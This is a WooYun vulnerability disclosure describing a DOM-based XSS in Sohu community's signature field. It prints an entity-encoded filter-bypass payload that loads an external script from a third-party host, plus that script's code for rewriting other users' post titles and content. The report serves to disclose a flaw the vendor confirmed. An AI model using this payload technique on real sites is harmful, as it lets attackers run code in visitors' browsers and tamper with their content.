当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0118065

漏洞标题：搜狐社区Dom xss,可以修改用户帖子标题和内容(xss filter bypass)

相关厂商：搜狐

漏洞作者： q601333824

提交时间：2015-06-04 09:46

修复时间：2015-07-19 11:16

公开时间：2015-07-19 11:16

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-04： 细节已通知厂商并且等待厂商处理中
2015-06-04： 厂商已经确认，细节仅向厂商公开
2015-06-14： 细节向核心白帽子及相关领域专家公开
2015-06-24： 细节向普通白帽子公开
2015-07-04： 细节向实习白帽子公开
2015-07-19： 细节向公众公开

简要描述：

RT

详细说明：


1.存在XSS的地方，搜狐社区的个人签名处：

2.先构造代码:
①. 

<br><scrip　src="http://fripside.sinaapp.com/1aaa.js"


　　　　　　　　　　　　　↓ (后半部分编码)
②. 

<br>&#60;&#115;&#99;&#114;&#105;&#112;&#12288;&#115;&#114;&#99;&#61;&#34;http://fripside.sinaapp.com/1aaa.js&#34;


　　　　　　　　　　　　　↓(插入个人签名这个时候代码会变成这样)
③.

1.png


---------------------------------------------------------------------------------------------
3.其中http://fripside.sinaapp.com/1aaa.js里面的内容是

document.title="股票不好就想跳楼肯定是傻逼，你想过你父母吗？";//修改浏览器标题
var tt=document.getElementsByClassName("title");
tt[0].innerHTML="股票不好就想跳楼肯定是傻逼，你想过你父母吗？";//修改帖子标题
var dd=document.getElementsByClassName("wrap");
dd[1].innerHTML="其实没必要弄什么股票，找份理想的工作，好好过日子就行,如果是我，有那些钱，我会开个小超市或者小饭馆";//修改文章内容


--------------------------------------------------------------------------------------
4.然后修改楼主的标题和帖子内容

2.png


--------------------------------------------------------------------------------------
5.

3.png


6.标签<br><script src="" 最后只留下<br>,但是过滤加载的过程脚本已经执行完成了
7.通过流量监控，已经可以看见在页面加载的过程已经加载外部JS了,再怎么过滤也白搭

555555.png


漏洞证明：

1.漏洞证明看上面
2.插入代码：

<br>&#60;&#115;&#99;&#114;&#105;&#112;&#12288;&#115;&#114;&#99;&#61;&#34;http://fripside.sinaapp.com/1aaa.js&#34;


3.

1.png


4.

2.png


5.

3.png


6.

555555.png


修复方案：

1.Fuzz出来的XSS
2.过滤器对于隔一个编码的标签处理不当
3.你们公司还缺打杂扫地的吗，如果缺的话，可以考虑下我

版权声明：转载请注明来源 q601333824@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-06-04 11:15

厂商回复：

感谢支持。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-06-08 13:20 | 牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:84 | [code]心若没有栖息的地方，走到哪里都是在...)

    哈哈 你回家去啦？

  2. 2015-06-16 22:21 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    才发现上面打错字了，少打了一个t,手抖了